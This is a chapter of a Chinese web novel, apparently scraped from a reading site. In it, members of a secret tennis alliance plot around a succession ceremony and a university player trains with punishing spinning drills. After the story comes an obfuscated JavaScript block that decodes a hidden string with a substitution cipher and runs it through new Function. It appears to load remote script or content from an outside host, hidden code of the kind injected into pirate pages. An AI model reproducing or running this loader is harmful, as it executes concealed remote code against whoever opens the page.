(手机请访问 m.duxs8.com); 正当独孤元风喜不自禁地与梁珊珊共进午餐的时候，离开基地的关太勾来到北京一处私宅。
来到私宅的书房，正在沏茶品茗的公西寿看到关太勾走进来后，停下动作笑呵呵地开口道：“结束啦，来来，刚沏好的龙井。”
关太勾含笑点头正对公西寿坐下，公西寿为关太勾倒了一杯茶。
关太勾看着公西寿开口道：“珊珊果然有老梁遗风，后生可畏啊，呵呵。”
公西寿饶有兴致地“哦”了一声开口道：“这么说万事俱备了？（关太勾点点头）你的眼光毒辣啊，先河那孩子的实力可是不俗，看来梁珊珊可以培养。”
关太勾微笑开口道：“那现在已经万事俱备，我们也该有所行动了。”说完询问着看向公西寿。
公西寿品了一口茶后，笑了笑开口道：“不急，（关太勾敛容疑惑）还欠东风。差一个契机，一个合适的契机。”
本以为梁珊珊通过考验，自己扳倒护道一系的计划就可以实施，现在听公西寿说时机还没到，关太勾对此很不甘。
所以，关太勾盯着公西寿开口道：“还欠东风？”
公西寿点头开口道：“没错。呵呵，你也不用太心急，我觉得契机很快就会出现了。倒是‘传道日’临近，我们要保证青龙受道前后不被干扰。”
传道日，是暗盟独有的一种仪式。
是暗盟承上启下的传统仪式。
每代青龙达到入圣之巅，就会由盟主择日传道。
传道日当天，会由当代盟主为暗盟青龙传道授业，为青龙扫除道之瓶颈，亲传盟主绝学，以期其能成全掌盟之资，顺利成为接班人。
传道之后，青龙的实力就会有质的飞跃，成就霸业！
通俗来说，传道，就是暗盟盟主没有后顾之忧地对青龙拔苗助长的过程。
想到“传道日”，关太勾急切实行夺凤计划的心抑制了下去。的确，还有两天就到传道的日子，自己应该先在传道前后确保仪式能顺利进行。
因为早在去年年中，青龙就已经到达了入圣颠覆境界，可护道却迟迟没有定下传道日子。这让关太勾等人忧虑不已，纷纷猜测护道推迟传道的意图。
所以，当护道将传道之日定在元月四日，关太勾等人慎重非常，生怕护道再生变故。
目前，只有确保青龙受道成功，成为接班人之后，关太勾等人才会放下心来谋划其他。
想到这，关太勾点头开口道：“好。‘传道日’不容有失，护道的气势之秘传给木空，那木空就势必成为真龙，君临天下！”
关太勾等人如此重视两天后的传道日，另一个重要的原因，就是希望青龙能继承护道气势之威！
护道之所以在地下网球江湖成就神话，是因为护道的气势之威无人能敌。护道是整个网球史上将气势领悟到极致的人，更是目前唯一一个！
为此，关太勾等人可以想像，以青龙无双之资，如果能将气势运用到极致会是什么样的存在！
听了关太勾的话，公西寿心照不宣地笑了笑。
书房内，两人对坐品茗，相谈甚欢。
杭州市，浙大。
独自在校队场馆苦练了一个上午的杨羽，挎着网球袋走出场馆。
自从教练在周一公布了市运会的首发名单，以及具体的阵容安排后，杨羽就倍感压力。
左正教练让自己担任第一单打，自己要不是尽力而为的话，怎么对得起这份重任？
杨羽如是想到。
所以，这几天来，杨羽一刻也没有放松训练，希望能在最后几天时间里尽可能提高自身的实力。这样，才能最大限度地为团体争得荣誉贡献自己的力量。
有了压力之后，杨羽决定元旦放假期间不回家，留在学校继续抓紧时间训练。
除了常规的训练外，杨羽也一遍遍冲刺着笔记本上第四页的极限时间。
练体篇，控体自如，柔韧多变，方能手脚并用。身体乃四肢中枢，倒转之间手脚灵动如常。
稳身训练，训练步骤：1、以第一页场地为基础，系重物于小腿，原地转体10圈后，沿线按点挥拍击球移动三小时；2、以步骤1为基础，原地转体20圈后，沿线按点稳拍击球移动三小时；3、以步骤1为基础，原地转体50圈后，沿线按点四向快步移动三小时；4、以步骤1为基础，原地转体100圈后，沿线按点四向点步移动三小时。
转体训练，训练步骤：1、第一页场地为基础，原地转体10圈后，每点腾空转体后，沿线按点快步稳拍移动三小时；2、以步骤1为基础，原地转体20圈后，每点前后空翻后，沿线按点快步稳拍移动三小时；3、以步骤1为基础，转体50圈后，每点逆向转体后，每沿线按点快步稳拍移动三小时。4、以步骤1为基础，转体100圈后，每点逆向空翻后，每沿线按点快步稳拍移动三小时飞身练，训练步骤：1、第一页场地为基础，在场五个交点圈定落脚位置，原地转体10圈后，依次跃起落到定点，沿线按点稳拍移动三小时；2、以步骤1为基础，缩小圈定落脚位置，原地转体20圈，每跃起落在一点转体一周挥拍，沿线按点稳拍移动三小时；3、以步骤1为基础，圈定脚板大小落脚位置，原地转体50圈后，每跃起落在一点空翻一次挥拍，沿线按点稳拍移动三小时。4、以步骤3为基础，原地转体100圈后，跃起凌空转体/空翻落地挥拍，沿线按点稳拍移动三小时。
当时杨羽看到这样的变态训练再次头大，其中的难度想想就知道。
不说转体之后能不能稳稳出拍，就连转体之后能不能准确按点跑动都是一个问题。更不要说后面更复杂的动作了，想想杨羽就头晕。
这几天来夜以继日的训练，杨羽一直是处于晕头转向的状态。
不过，经过几天的苦练，杨羽也切身体会到了在转体的情况下，左手持拍力求出拍纹丝不晃的感觉。
在头晕目眩的情况下，身体与四肢内在协调的重要性就显现出来。如果能适应这种状态，那在对战中，失位错位的情况下，自己都能灵活应对！
zuay
这样想着，杨羽就下定决心一定要尽快达标这一页的要求！
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();